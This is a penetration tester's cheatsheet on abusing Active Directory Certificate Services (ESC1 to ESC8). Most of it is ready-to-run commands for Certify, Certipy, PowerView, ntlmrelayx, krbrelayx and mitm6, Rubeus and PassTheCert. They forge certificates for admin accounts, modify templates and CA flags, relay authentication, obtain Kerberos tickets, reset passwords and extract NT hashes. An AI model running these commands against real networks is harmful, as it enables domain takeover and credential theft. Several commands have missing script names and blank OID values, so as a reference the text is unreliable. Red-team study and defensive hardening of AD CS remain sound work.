Active Directory Certificate Services

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.

If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : @BlWasp_

A cheatsheet about the different AD-CS's ESC presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains.

Many commands come from here where I have participate for AD-CS - Don't hesitate to read all his blog and support him !

Is there a CA ?

Find the Cert Publishers group :
  • From UNIX-like systems: rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
  • From Windows systems: net group "Cert Publishers" /domain
Find the PKI :
  • crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
  • ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName

Find the CA from Windows : certutil –config – -ping

Enumerate the HTTP ports on the servers, enumerate the shares to find CertEnroll, etc

Template Attacks - ESC1, 2, 3


ESC1 & 2 - Client Authentication with SAN


# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser

# Request certificate with SAN
Certify.exe request /ca:'domain\ca' /template:"Vulnerable template" /altname:"admin"

# Convert PEM to PFX (from Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx


# Find vulnerable templates
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound

# Request certificate with SAN
certipy 'domain.local'/'user':'password'@'ca_server' req -ca 'ca_name' -template 'vulnerable template' -alt 'domain admin'

ESC2 & 3 - Certificate Request Agent EKU

If a certificate template specifies ANY EKU but no Client Authentication, it can be used as an ESC3.


# Request an enrollment agent certificate
Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate

# Request a certificate on behalf of another to a template that allow for domain authentication
Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!


# Request a certificate specifying the Certificate Request Agent EKU
certipy req 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -template 'vulnerable template'

# Used issued certificate to request another certificate on behalf of another user
certipy req 'domain.local'/'user':'password'@'ca_server' -ca 'ca_name' -template 'User' -on-behalf-of 'domain\domain admin' -pfx 'user.pfx'

Access Controls Attacks - ESC4, 5, 7

ESC4 : Sufficient rights against a template

  1. Get Enrollment rights for the vulnerable template
  2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
  3. Set mspki-ra-signature attribute to 0 for disabling Authorized Signature requirement
  4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag for specifying high privileged account name as a SAN
  5. Set mspki-certificate-application-policy to a certificate purpose for authentication
    • Client Authentication (OID:
    • Smart Card Logon (OID:
    • PKINIT Client Authentication (OID:
    • Any Purpose (OID:
    • No EKU
  6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack


# Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose

# Disabling Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disabling Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

# Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Editting Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'=''} -Verbose


Quick template override and restore
# Overwrite the certificate template and save the old configuration
certipy 'domain.local'/'user':'password'@'domaincontroller' template -template templateName -save-old

# After the ESC1 attack, restore the original configuration
certipy 'domain.local'/'user':'password'@'domaincontroller' template -template templateName -configuration 'templateName.json'
Precise template modification
# Query a certificate template (all attributes)
python3 -template templateName contoso.local/user:pass

# Query the raw values of all template attributes
python3 -template templateName -raw contoso.local/user:pass

# Query the ACL for a certificate template
python3 -template templateName -get-acl contoso.local/user:pass

# Disabling Manager Approval Requirement
python3 -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass 

# Disabling Authorized Signature Requirement
python3 -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass 

# Enabling SAN Specification
python3 -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass 

# Editting Certificate Application Policy Extension
python3 -template templateName -value "'', ''" -property mspki-certificate-application-policy contoso.local/user:pass 

ESC5 : Sufficient rights against several objects

ESC7 : Sufficient rights against the CA


# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD ""
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags"
reg query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337


When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attributes, the built-in template SubCA can be usefull.
It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.
This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.
# Add a new officier
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -add-officier 'user'

# List all the templates
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -list-templates

# Enable a certificate template
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -enable-template 'SubCA'
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy 'domain.local'/'user':'password'@'domaincontroller' ca -ca 'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy 'domain.local'/'user':'password'@'domaincontroller' req -ca 'ca_name' -request 100

CA Configuration - ESC6

If the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it is possible to specify a SAN in any certificate request


# Find info about CA
Certify.exe cas

# Find template for authent
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"


# Verify if the flag is set
certipy 'domain.local'/'user':'password'@'domaincontroller' find | grep "User Specified SAN"

# Request certif with SAN
certipy 'domain.local'/'user':'password'@'ca_server' req -ca 'ca_name' -template 'certificate template' -alt 'domain admin'

HTTP Endpoint - ESC8

If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay.

NTLM Relay

# Prepare relay
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name"
# Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc)

Kerberos Relay

It is possible with the last versions of mitm6 and krbrelayx.

#Setup the relay
sudo --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

#Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v


With a certificate valid for authentication, it is possible to request a TGT via the PKINIT protocol.


# Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show


# Base64-encoded PFX certificate (string) (password can be set) -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PEM certificate (file) + PEM private key (file) -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal) -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with PassTheCert.


./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>

#To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --add-computer --computer-name TEST$ --computer-password <password>
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --rbcd --target "CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid <controlled_computer_SID>
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --reset-password --target "CN=user1,OU=Users,DC=domain,DC=local" --new-password <new_password>


For RBCD attack.

#Create a new computer account
python3 -action add_computer -crt user.crt -key user.key -domain domain.local -dc-ip

#Add delegation rights
python3 -action write_rbcd -crt user.crt -key user.key -domain domain.local -dc-ip -port 389 -delegate-to <created_computer> -delegate-from TARGET$

#Impersonation is now possible

UnPAC the Hash

When a TGT is requested with PKINIT, the LM:NT hash in added in the structure PAC_CREDENTIAL_INFO for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key

The strucutre can be unciphered if a TGS-REQ U2U is realised


Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show



# Recover the NT hash with the key printed by


Revision #6
Created 29 December 2021 18:25:05 by BlackWasp
Updated 23 May 2022 09:53:56 by BlackWasp